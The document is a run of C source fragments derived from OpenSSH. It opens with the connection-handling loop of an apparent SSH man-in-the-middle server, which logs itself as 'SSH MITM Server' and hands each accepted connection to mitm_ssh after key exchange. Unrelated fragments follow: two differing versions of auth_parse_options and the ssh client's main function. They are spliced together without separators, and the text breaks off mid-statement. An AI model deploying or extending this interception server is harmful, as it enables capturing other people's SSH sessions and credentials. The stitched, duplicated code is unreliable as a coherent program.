TIME_WAIT. */ if (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) == -1) error("setsockopt SO_REUSEADDR: %s", strerror(errno)); debug("Bind to port %s on %s.", strport, ntop); /* Bind the socket to the desired port. */ if (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) < 0) { if (!ai->ai_next) error("Bind to port %s on %s failed: %.200s.", strport, ntop, strerror(errno)); close(listen_sock); continue; } listen_socks[num_listen_socks] = listen_sock; num_listen_socks++; /* Start listening on the port. */ logit("SSH MITM Server listening on %s port %s.", ntop, strport); if (listen(listen_sock, SSH_LISTEN_BACKLOG) < 0) fatal("listen: %.100s", strerror(errno)); } freeaddrinfo(options.listen_addrs); if (!num_listen_socks) fatal("Cannot bind any address."); if (options.protocol & SSH_PROTO_1) generate_ephemeral_server_key(); /* * Arrange to restart on SIGHUP. The handler needs * listen_sock. */ signal(SIGHUP, sighup_handler); signal(SIGTERM, sigterm_handler); signal(SIGQUIT, sigterm_handler); /* Arrange SIGCHLD to be caught. */ signal(SIGCHLD, main_sigchld_handler); /* Write out the pid file after the sigterm handler is setup */ if (!debug_flag) { /* * Record our pid in /var/run/sshd.pid to make it * easier to kill the correct sshd. We don't want to * do this before the bind above because the bind will * fail if there already is a daemon, and this will * overwrite any old pid in the file. */ f = fopen(options.pid_file, "wb"); if (f == NULL) { error("Couldn't create pid file \"%s\": %s", options.pid_file, strerror(errno)); } else { fprintf(f, "%ld\n", (long) getpid()); fclose(f); } } /* setup fd set for listen */ fdset = NULL; maxfd = 0; for (i = 0; i < num_listen_socks; i++) if (listen_socks[i] > maxfd) maxfd = listen_socks[i]; /* pipes connected to unauthenticated childs */ startup_pipes = xmalloc(options.max_startups * sizeof(int)); for (i = 0; i < options.max_startups; i++) startup_pipes[i] = -1; /* * Stay listening for connections until the system crashes or * the daemon is killed with a signal. */ for (;;) { if (received_sighup) sighup_restart(); if (fdset != NULL) xfree(fdset); fdsetsz = howmany(maxfd+1, NFDBITS) * sizeof(fd_mask); fdset = (fd_set *)xmalloc(fdsetsz); memset(fdset, 0, fdsetsz); for (i = 0; i < num_listen_socks; i++) FD_SET(listen_socks[i], fdset); for (i = 0; i < options.max_startups; i++) if (startup_pipes[i] != -1) FD_SET(startup_pipes[i], fdset); /* Wait in select until there is a connection. */ ret = select(maxfd+1, fdset, NULL, NULL, NULL); if (ret < 0 && errno != EINTR) error("select: %.100s", strerror(errno)); if (received_sigterm) { logit("Received signal %d; terminating.", (int) received_sigterm); close_listen_socks(); unlink(options.pid_file); exit(255); } if (key_used && key_do_regen) { generate_ephemeral_server_key(); key_used = 0; key_do_regen = 0; } if (ret < 0) continue; for (i = 0; i < options.max_startups; i++) if (startup_pipes[i] != -1 && FD_ISSET(startup_pipes[i], fdset)) { /* * the read end of the pipe is ready * if the child has closed the pipe * after successful authentication * or if the child has died */ close(startup_pipes[i]); startup_pipes[i] = -1; startups--; } for (i = 0; i < num_listen_socks; i++) { if (!FD_ISSET(listen_socks[i], fdset)) continue; fromlen = sizeof(from); debug("Awaiting client"); newsock = accept(listen_socks[i], (struct sockaddr *)&from, &fromlen); if (newsock < 0) { if (errno != EINTR && errno != EWOULDBLOCK) error("accept: %.100s", strerror(errno)); continue; } if (unset_nonblock(newsock) == -1) { close(newsock); continue; } if (drop_connection(startups) == 1) { debug("drop connection #%d", startups); close(newsock); continue; } if (pipe(startup_p) == -1) { close(newsock); continue; } if (rexec_flag && socketpair(AF_UNIX, SOCK_STREAM, 0, config_s) == -1) { error("reexec socketpair: %s", strerror(errno)); close(newsock); close(startup_p[0]); close(startup_p[1]); continue; } for (j = 0; j < options.max_startups; j++) if (startup_pipes[j] == -1) { startup_pipes[j] = startup_p[0]; if (maxfd < startup_p[0]) maxfd = startup_p[0]; startups++; break; } /* * Got connection. Fork a child to handle it, unless * we are in debugging mode. */ if (debug_flag) { /* * In debugging mode. Close the listening * socket, and start processing the * connection without forking. */ debug("Server will not fork when running in debugging mode."); close_listen_socks(); sock_in = newsock; sock_out = newsock; close(startup_p[0]); close(startup_p[1]); startup_pipe = -1; pid = getpid(); if (rexec_flag) { send_rexec_state(config_s[0], &cfg); close(config_s[0]); } break; } else { /* * Normal production daemon. Fork, and have * the child process the connection. The * parent continues listening. */ if ((pid = fork()) == 0) { /* * Child. Close the listening and max_startup * sockets. Start using the accepted socket. * Reinitialize logging (since our pid has * changed). We break out of the loop to handle * the connection. */ startup_pipe = startup_p[1]; close_startup_pipes(); close_listen_socks(); sock_in = newsock; sock_out = newsock; log_init(__progname, options.log_level, options.log_facility, log_stderr); close(config_s[0]); break; } } /* Parent. Stay in the loop. */ if (pid < 0) error("fork: %.100s", strerror(errno)); else debug("Forked child %ld.", (long)pid); close(startup_p[1]); if (rexec_flag) { send_rexec_state(config_s[0], &cfg); close(config_s[0]); close(config_s[1]); } /* Mark that the key has been used (it was "given" to the child). */ if ((options.protocol & SSH_PROTO_1) && key_used == 0) { /* Schedule server key regeneration alarm. */ signal(SIGALRM, key_regeneration_alarm); alarm(options.key_regeneration_time); key_used = 1; } arc4random_stir(); /* Close the new socket (the child is now taking care of it). */ close(newsock); } /* child process check (or debug mode) */ if (num_listen_socks < 0) break; } } /* This is the child processing a new connection. */ setproctitle("%s", "[MITM]"); log_init("mitm-server", options.log_level, options.log_facility, log_stderr); alarm(0); signal(SIGALRM, SIG_DFL); signal(SIGHUP, SIG_DFL); signal(SIGTERM, SIG_DFL); signal(SIGQUIT, SIG_DFL); signal(SIGINT, SIG_DFL); packet_set_connection(sock_in, sock_out); sshd_exchange_identification(sock_in, sock_out); packet_set_nonblocking(); /* perform the key exchange */ if (compat20) do_ssh2_kex(); else do_ssh1_kex(); mitm_ssh(sock_in); /* Unreached */ exit(1); }
/* * return 1 if access is granted, 0 if not. * side effect: sets key option flags */ int auth_parse_options(struct passwd *pw, char *opts, char *file, u_long linenum) { const char *cp; int i; /* reset options */ auth_clear_options(); if (!opts) return 1; while (*opts && *opts != ' ' && *opts != '\t') { cp = "cert-authority"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { key_is_cert_authority = 1; opts += strlen(cp); goto next_option; } cp = "no-port-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Port forwarding disabled."); no_port_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-agent-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Agent forwarding disabled."); no_agent_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-X11-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("X11 forwarding disabled."); no_x11_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-pty"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Pty allocation disabled."); no_pty_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-user-rc"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("User rc file execution disabled."); no_user_rc = 1; opts += strlen(cp); goto next_option; } cp = "command=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { opts += strlen(cp); if (forced_command != NULL) xfree(forced_command); forced_command = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; forced_command[i++] = '"'; continue; } forced_command[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(forced_command); forced_command = NULL; goto bad_option; } forced_command[i] = '\0'; auth_debug_add("Forced command."); opts++; goto next_option; } cp = "principals=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { opts += strlen(cp); if (authorized_principals != NULL) xfree(authorized_principals); authorized_principals = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; authorized_principals[i++] = '"'; continue; } authorized_principals[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(authorized_principals); authorized_principals = NULL; goto bad_option; } authorized_principals[i] = '\0'; auth_debug_add("principals: %.900s", authorized_principals); opts++; goto next_option; } cp = "environment=\""; if (options.permit_user_env && strncasecmp(opts, cp, strlen(cp)) == 0) { char *s; struct envstring *new_envstring; opts += strlen(cp); s = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; s[i++] = '"'; continue; } s[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(s); goto bad_option; } s[i] = '\0'; auth_debug_add("Adding to environment: %.900s", s); debug("Adding to environment: %.900s", s); opts++; new_envstring = xmalloc(sizeof(struct envstring)); new_envstring->s = s; new_envstring->next = custom_environment; custom_environment = new_envstring; goto next_option; } cp = "from=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { const char *remote_ip = get_remote_ipaddr(); const char *remote_host = get_canonical_hostname( options.use_dns); char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(patterns); goto bad_option; } patterns[i] = '\0'; opts++; switch (match_host_and_ip(remote_host, remote_ip, patterns)) { case 1: xfree(patterns); /* Host name matches. */ goto next_option; case -1: debug("%.100s, line %lu: invalid criteria", file, linenum); auth_debug_add("%.100s, line %lu: " "invalid criteria", file, linenum); /* FALLTHROUGH */ case 0: xfree(patterns); logit("Authentication tried for %.100s with " "correct key but not from a permitted " "host (host=%.200s, ip=%.200s).", pw->pw_name, remote_host, remote_ip); auth_debug_add("Your host '%.200s' is not " "permitted to use this key for login.", remote_host); break; } /* deny access */ return 0; } cp = "permitopen=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { char *host, *p; int port; char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing " "end quote", file, linenum); xfree(patterns); goto bad_option; } patterns[i] = '\0'; opts++; p = patterns; host = hpdelim(&p); if (host == NULL || strlen(host) >= NI_MAXHOST) { debug("%.100s, line %lu: Bad permitopen " "specification <%.100s>", file, linenum, patterns); auth_debug_add("%.100s, line %lu: " "Bad permitopen specification", file, linenum); xfree(patterns); goto bad_option; } host = cleanhostname(host); if (p == NULL || (port = a2port(p)) <= 0) { debug("%.100s, line %lu: Bad permitopen port " "<%.100s>", file, linenum, p ? p : ""); auth_debug_add("%.100s, line %lu: " "Bad permitopen port", file, linenum); xfree(patterns); goto bad_option; } if (options.allow_tcp_forwarding) channel_add_permitted_opens(host, port); xfree(patterns); goto next_option; } cp = "tunnel=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { char *tun = NULL; opts += strlen(cp); tun = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; tun[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(tun); forced_tun_device = -1; goto bad_option; } tun[i] = '\0'; forced_tun_device = a2tun(tun, NULL); xfree(tun); if (forced_tun_device == SSH_TUNID_ERR) { debug("%.100s, line %lu: invalid tun device", file, linenum); auth_debug_add("%.100s, line %lu: invalid tun device", file, linenum); forced_tun_device = -1; goto bad_option; } auth_debug_add("Forced tun device: %d", forced_tun_device); opts++; goto next_option; } next_option: /* * Skip the comma, and move to the next option * (or break out if there are no more). */ if (!*opts) fatal("Bugs in auth-options.c option processing."); if (*opts == ' ' || *opts == '\t') break; /* End of options. */ if (*opts != ',') goto bad_option; opts++; /* Process the next option. */ } /* grant access */ return 1; bad_option: logit("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); auth_debug_add("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); /* deny access */ return 0; }
/* * return 1 if access is granted, 0 if not. * side effect: sets key option flags */ int auth_parse_options(struct passwd *pw, char *opts, char *file, u_long linenum) { const char *cp; int i; /* reset options */ auth_clear_options(); if (!opts) return 1; while (*opts && *opts != ' ' && *opts != '\t') { cp = "no-port-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Port forwarding disabled."); no_port_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-agent-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Agent forwarding disabled."); no_agent_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-X11-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("X11 forwarding disabled."); no_x11_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-pty"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Pty allocation disabled."); no_pty_flag = 1; opts += strlen(cp); goto next_option; } cp = "command=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { opts += strlen(cp); forced_command = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; forced_command[i++] = '"'; continue; } forced_command[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(forced_command); forced_command = NULL; goto bad_option; } forced_command[i] = 0; auth_debug_add("Forced command: %.900s", forced_command); opts++; goto next_option; } cp = "environment=\""; if (options.permit_user_env && strncasecmp(opts, cp, strlen(cp)) == 0) { char *s; struct envstring *new_envstring; opts += strlen(cp); s = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; s[i++] = '"'; continue; } s[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(s); goto bad_option; } s[i] = 0; auth_debug_add("Adding to environment: %.900s", s); debug("Adding to environment: %.900s", s); opts++; new_envstring = xmalloc(sizeof(struct envstring)); new_envstring->s = s; new_envstring->next = custom_environment; custom_environment = new_envstring; goto next_option; } cp = "from=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { const char *remote_ip = get_remote_ipaddr(); const char *remote_host = get_canonical_hostname( options.verify_reverse_mapping); char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(patterns); goto bad_option; } patterns[i] = 0; opts++; if (match_host_and_ip(remote_host, remote_ip, patterns) != 1) { xfree(patterns); log("Authentication tried for %.100s with " "correct key but not from a permitted " "host (host=%.200s, ip=%.200s).", pw->pw_name, remote_host, remote_ip); auth_debug_add("Your host '%.200s' is not " "permitted to use this key for login.", remote_host); /* deny access */ return 0; } xfree(patterns); /* Host name matches. */ goto next_option; } cp = "permitopen=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { char host[256], sport[6]; u_short port; char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(patterns); goto bad_option; } patterns[i] = 0; opts++; if (sscanf(patterns, "%255[^:]:%5[0-9]", host, sport) != 2 && sscanf(patterns, "%255[^/]/%5[0-9]", host, sport) != 2) { debug("%.100s, line %lu: Bad permitopen specification " "<%.100s>", file, linenum, patterns); auth_debug_add("%.100s, line %lu: " "Bad permitopen specification", file, linenum); xfree(patterns); goto bad_option; } if ((port = a2port(sport)) == 0) { debug("%.100s, line %lu: Bad permitopen port <%.100s>", file, linenum, sport); auth_debug_add("%.100s, line %lu: " "Bad permitopen port", file, linenum); xfree(patterns); goto bad_option; } if (options.allow_tcp_forwarding) channel_add_permitted_opens(host, port); xfree(patterns); goto next_option; } next_option: /* * Skip the comma, and move to the next option * (or break out if there are no more). */ if (!*opts) fatal("Bugs in auth-options.c option processing."); if (*opts == ' ' || *opts == '\t') break; /* End of options. */ if (*opts != ',') goto bad_option; opts++; /* Process the next option. */ } if (!use_privsep) auth_debug_send(); /* grant access */ return 1; bad_option: log("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); auth_debug_add("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); if (!use_privsep) auth_debug_send(); /* deny access */ return 0; }
/* * Main program for the ssh client. */ int main(int ac, char **av) { int i, opt, exit_status; u_short fwd_port, fwd_host_port; char sfwd_port[6], sfwd_host_port[6]; char *p, *cp, buf[256]; struct stat st; struct passwd *pw; int dummy; extern int optind, optreset; extern char *optarg; __progname = get_progname(av[0]); init_rng(); /* * Save the original real uid. It will be needed later (uid-swapping * may clobber the real uid). */ original_real_uid = getuid(); original_effective_uid = geteuid(); /* * Use uid-swapping to give up root privileges for the duration of * option processing. We will re-instantiate the rights when we are * ready to create the privileged port, and will permanently drop * them when the port has been created (actually, when the connection * has been made, as we may need to create the port several times). */ PRIV_END; #ifdef HAVE_SETRLIMIT /* If we are installed setuid root be careful to not drop core. */ if (original_real_uid != original_effective_uid) { struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = 0; if (setrlimit(RLIMIT_CORE, &rlim) < 0) fatal("setrlimit failed: %.100s", strerror(errno)); } #endif /* Get user data. */ pw = getpwuid(original_real_uid); if (!pw) { log("You don't exist, go away!"); exit(1); } /* Take a copy of the returned structure. */ pw = pwcopy(pw); /* * Set our umask to something reasonable, as some files are created * with the default umask. This will make them world-readable but * writable only by the owner, which is ok for all files for which we * don't set the modes explicitly. */ umask(022); /* Initialize option structure to indicate that no values have been set. */ initialize_options(&options); /* Parse command-line arguments. */ host = NULL; again: while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvxACD:F:I:L:NPR:TVX")) != -1) { switch (opt) { case '1': options.protocol = SSH_PROTO_1; break; case '2': options.protocol = SSH_PROTO_2; break; case '4': IPv4or6 = AF_INET; break; case '6': IPv4or6 = AF_INET6; break; case 'n': stdin_null_flag = 1; break; case 'f': fork_after_authentication_flag = 1; stdin_null_flag = 1; break; case 'x': options.forward_x11 = 0; break; case 'X': options.forward_x11 = 1; break; case 'g': options.gateway_ports = 1; break; case 'P': /* deprecated */ options.use_privileged_port = 0; break; case 'a': options.forward_agent = 0; break; case 'A': options.forward_agent = 1; break; #ifdef AFS case 'k': options.kerberos_tgt_passing = 0; options.afs_token_passing = 0; break; #endif case 'i': if (stat(optarg, &st) < 0) { fprintf(stderr, "Warning: Identity file %s " "does not exist.\n", optarg); break; } if (options.num_identity_files >= SSH_MAX_IDENTITY_FILES) fatal("Too many identity files specified " "(max %d)", SSH_MAX_IDENTITY_FILES); options.identity_files[options.num_identity_files++] = xstrdup(optarg); break; case 'I': #ifdef SMARTCARD options.smartcard_device = xstrdup(optarg); #else fprintf(stderr, "no support for smartcards.\n"); #endif break; case 't': if (tty_flag) force_tty_flag = 1; tty_flag = 1; break; case 'v': if (0 == debug_flag) { debug_flag = 1; options.log_level = SYSLOG_LEVEL_DEBUG1; } else if (options.log_level < SYSLOG_LEVEL_DEBUG3) { options.log_level++; break; } else fatal("Too high debugging level."); /* fallthrough */ case 'V': fprintf(stderr, "%s, SSH protocols %d.%d/%d.%d, OpenSSL 0x%8.8lx\n", SSH_VERSION, PROTOCOL_MAJOR_1, PROTOCOL_MINOR_1, PROTOCOL_MAJOR_2, PROTOCOL_MINOR_2, SSLeay()); if (opt == 'V') exit(0); break; case 'q': options.log_level = SYSLOG_LEVEL_QUIET; break; case 'e': if (optarg[0] == '^' && optarg[2] == 0 && (u_char) optarg[1] >= 64 && (u_char) optarg[1] < 128) options.escape_char = (u_char) optarg[1] & 31; else if (strlen(optarg) == 1) options.escape_char = (u_char) optarg[0]; else if (strcmp(optarg, "none") == 0) options.escape_char = SSH_ESCAPECHAR_NONE; else { fprintf(stderr, "Bad escape character '%s'.\n", optarg); exit(1); } break; case 'c': if (ciphers_valid(optarg)) { /* SSH2 only */ options.ciphers = xstrdup(optarg); options.cipher = SSH_CIPHER_ILLEGAL; } else { /* SSH1 only */ options.cipher = cipher_number(optarg); if (options.cipher == -1) { fprintf(stderr, "Unknown cipher type '%s'\n", optarg); exit(1); } if (options.cipher == SSH_CIPHER_3DES) options.ciphers = "3des-cbc"; else if (options.cipher == SSH_CIPHER_BLOWFISH) options.ciphers = "blowfish-cbc"; else options.ciphers = (char *)-1; } break; case 'm': if (mac_valid(optarg)) options.macs = xstrdup(optarg); else { fprintf(stderr, "Unknown mac type '%s'\n", optarg); exit(1); } break; case 'p': options.port = a2port(optarg); if (options.port == 0) { fprintf(stderr, "Bad port '%s'\n", optarg); exit(1); } break; case 'l': options.user = optarg; break; case 'L': case 'R': if (sscanf(optarg, "%5[0-9]:%255[^:]:%5[0-9]", sfwd_port, buf, sfwd_host_port) != 3 && sscanf(optarg, "%5[0-9]/%255[^/]/%5[0-9]", sfwd_port, buf, sfwd_host_port) != 3) { fprintf(stderr, "Bad forwarding specification '%s'\n", optarg); usage(); /* NOTREACHED */ } if ((fwd_port = a2port(sfwd_port)) == 0 || (fwd_host_port = a2port(sfwd_host_port)) == 0) { fprintf(stderr, "Bad forwarding port(s) '%s'\n", optarg); exit(1); } if (opt == 'L') add_local_forward(&options, fwd_port, buf, fwd_host_port); else if (opt == 'R') add_remote_forward(&options, fwd_port, buf, fwd_host_port); break; case 'D': fwd_port = a2port(optarg); if (fwd_port == 0) { fprintf(stderr, "Bad dynamic port '%s'\n", optarg); exit(1); } add_local_forward(&options, fwd_port, "socks4", 0); break; case 'C': options.compression = 1; break; case 'N': no_shell_flag = 1; no_tty_flag = 1; break; case 'T': no_tty_flag = 1; break; case 'o': dummy = 1; if (process_config_line(&options, host ? host : "", optarg, "command-line", 0, &dummy) != 0) exit(1); break; case 's': subsystem_flag = 1; break; case 'b': options.bind_address = optarg; break; case 'F': config = optarg; break; default: usage(); } } ac -= optind; av += optind; if (ac > 0 && !host && **av != '-') { if (strrchr(*av, '@')) { p = xstrdup(*av); cp = strrchr(p, '@'); if (cp == NULL || cp == p) usage(); options.user = p; *cp = '\0'; host = ++cp; } else host = *av; if (ac > 1) { optind = optreset = 1; goto again; } ac--, av++; } /* Check that we got a host name. */ if (!host) usage(); SSLeay_add_all_algorithms(); ERR_load_crypto_strings(); channel_set_af(IPv4or6); /* Initialize the command to execute on remote host. */ buffer_init(&command); /* * Save the command to execute on the remote host in a buffer. There * is no limit on the length of the command, except by the maximum * packet size. Also sets the tty flag if there is no command. */ if (!ac) { /* No command specified - execute shell on a tty. */ tty_flag = 1; if (subsystem_flag) { fprintf(stderr, "You must specify a subsystem to invoke.\n"); usage(); } } else { /* A command has been specified. Store it into the buffer. */ for (i = 0; i < ac; i++) { if (i) buffer_append(&command, " ", 1); buffer_append(&command, av[i], strlen(av[i])); } } /* Cannot fork to background if no command. */ if (fork_after_authentication_flag && buffer_len(&command) == 0 && !no_shell_flag) fatal("Cannot fork into background without a command to execute."); /* Allocate a tty by default if no command specified. */ if (buffer_len(&command) == 0) tty_flag = 1; /* Force no tty */ if (no_tty_flag) tty_flag = 0; /* Do not allocate a tty if stdin is not a tty. */ if (!isatty(fileno(stdin)) && !force_tty_flag) { if (tty_flag) log("Pseudo-terminal will not be allocated because stdin is not a terminal."); tty_flag = 0; } /* * Initialize "log" output. Since we are the client all output * actually goes to stderr. */ log_init(av[0], options.log_level == -1 ? SYSLOG_LEVEL_INFO : options.log_level, SYSLOG_FACILITY_USER, 1); /* * Read per-user configuration file. Ignore the system wide config * file if the user specifies a config file on the command line. */ if (config != NULL) { if (!read_config_file(config, host, &options)) fatal("Can't open user config file %.100s: " "%.100s", config, strerror(errno)); } else { snprintf(buf, sizeof buf, "%.100s/%.100s", pw->pw_dir, _PATH_SSH_USER_CONFFILE); (void)read_config_file(buf, host, &options); /* Read systemwide configuration file after use config. */ (void)read_config_file(_PATH_HOST_CONFIG_FILE, host, &options); } /* Fill configuration defaults. */ fill_default_options(&options); /* reinit */ log_init(av[0], options.log_level, SYSLOG_FACILITY_USER, 1); seed_rng(); if (options.user == NULL) options.user = xstrdup(pw->pw_name); if (options.hostname != NULL) host = options.hostname; if (options.proxy_command != NULL && strcmp(options.proxy_command, "none") == 0) options.proxy_command = NULL; /* Disable rhosts authentication if not running as root. */ #ifdef HAVE_CYGWIN /* Ignore uid if running under Windows */ if (!options.use_privileged_port) { #else if (original_effective_uid != 0 || !options.use_privileged_port) { #endif debug("Rhosts Authentication disabled, " "originating port will not be trusted."); options.rhosts_authentication = 0; } /* Open a connection to the remote host. */ if (ssh_connect(host, &hostaddr, options.port, IPv4or6, options.connection_attempts, #ifdef HAVE_CYGWIN options.use_privileged_port, #else original_effective_uid == 0 && options.use_privileged_port, #endif options.proxy_command) != 0) exit(1); /* * If we successfully made the connection, load the host private key * in case we will need it later for combined rsa-rhosts * authentication. This must be done before releasing extra * privileges, because the file is only readable by root. * If we cannot access the private keys, load the public keys * instead and try to execute the ssh-keysign helper instead. */ sensitive_data.nkeys = 0; sensitive_data.keys = NULL; sensitive_data.external_keysign = 0; if (options.rhosts_rsa_authentication || options.hostbased_authentication) { sensitive_data.nkeys = 3; sensitive_data.keys = xmalloc(sensitive_data.nkeys * sizeof(Key)); PRIV_START; sensitive_data.keys[0] = key_load_private_type(KEY_RSA1, _PATH_HOST_KEY_FILE, "", NULL); sensitive_data.keys[1] = key_load_private_type(KEY_DSA, _PATH_HOST_DSA_KEY_FILE, "", NULL); sensitive_data.keys[2] = key_load_private_type(KEY_RSA, _PATH_HOST_RSA_KEY_FILE, "", NULL); PRIV_END; if (options.hostbased_authentication == 1 && sensitive_data.keys[0] == NULL && sensitive_data.keys[1] == NULL && sensitive_data.keys[2] == NULL) { sensitive_data.keys[1] = key_load_public( _PATH_HOST_DSA_KEY_FILE, NULL); sensitive_data.keys[2] = key_load_public( _PATH_HOST_RSA_KEY_FILE, NULL); sensitive_data.external_keysign = 1; } } /* * Get rid of any extra privileges that we may have. We will no * longer need them. Also, extra privileges could make it very hard * to read identity files and other non-world-readable files from the * user's home directory if it happens to be on a NFS volume where * root is mapped to nobody. */ seteuid(original_real_uid); setuid(original_real_uid); /* * Now that we are back to our own permissions, create ~/.ssh * directory if it doesn\'t already exist. */ snprintf(buf, sizeof buf, "%.100s%s%.100s", pw->pw_dir, strcmp(pw->pw_dir, "/") ? "/" : "", _PATH_SSH_USER_DIR); if (stat(buf, &st) < 0) if (mkdir(buf, 0700) < 0) error("Could not create directory '%.200s'.", buf); /* load options.identity_files */ load_public_identity_files(); /* Expand ~ in known host file names. */ /* XXX mem-leaks: */ options.system_hostfile = tilde_expand_filename(options.system_hostfile, original_real_uid); options.user_hostfile = tilde_expand_filename(options.user_hostfile, original_real_uid); options.system_hostfile2 = tilde_expand_filename(options.system_hostfile2, original_real_uid); options.user_hostfile2 = tilde_expand_filename(options.user_hostfile2, original_real_uid); signal(SIGPIPE, SIG_IGN); /* ignore SIGPIPE early */ /* Log into the remote system. This never returns if the login fails. */ ssh_login(&sensitive_data, host, (struct sockaddr *)&hostaddr, pw); /* We no longer need the private host keys. Clear them now. */ if (sensitive_data.nkeys != 0) { for (i = 0; i < sensitive_data.nkeys; i++) { if (sensitive_data.keys[i] != NULL) { /* Destroys contents safely */ debug3("clear hostkey %d", i); key_free(sensitive_data.keys[i]); sensitive_data.keys[i] = NULL; } } xfree(sensitive_data.keys); } for (i = 0; i < options.num_identity_files; i++) { if (options.identity_files[i]) { xfree(options.identity_files[i]); options.identity_files[i] = NULL; } if (options.identity_keys[i]) { key_free(options.identity_keys[i]); options.identity_keys[i] = NULL; } } exit_status = compat20 ? ssh_session2() : ssh_session(); packet_close(); /* * Send SIGHUP to proxy command if used. We don't wait() in * case it hangs and instead rely on init to reap the child */ if (proxy_command_pid > 1) kill(proxy_command_pid, SIGHUP); return exit_status; } static void x11_get_proto(char **_proto, char **_data) { char line[512]; static char proto[512], data[512]; FILE *f; int got_data = 0, i; char *display; struct stat st; *_proto = proto; *_data = data; proto[0] = data[0] = '\0'; if (!options.xauth_location || (stat(options.xauth_location, &st) == -1)) { debug("No xauth program."); } else { if ((display = getenv("DISPLAY")) == NULL) { debug("x11_get_proto: DISPLAY not set"); return; } /* Try to get Xauthority information for the display. */ if (strncmp(display, "localhost:", 10) == 0) /* * Handle FamilyLocal case where $DISPLAY does * not match an authorization entry. For this we * just try "xauth list unix:displaynum.screennum". * XXX: "localhost" match to determine FamilyLocal * is not perfect. */ snprintf(line, sizeof line, "%s list unix:%s 2>" _PATH_DEVNULL, options.xauth_location, display+10); else snprintf(line, sizeof line, "%s list %.200s 2>" _PATH_DEVNULL, options.xauth_location, display); debug2("x11_get_proto: %s", line); f = popen(line, "r"); if (f && fgets(line, sizeof(line), f) && 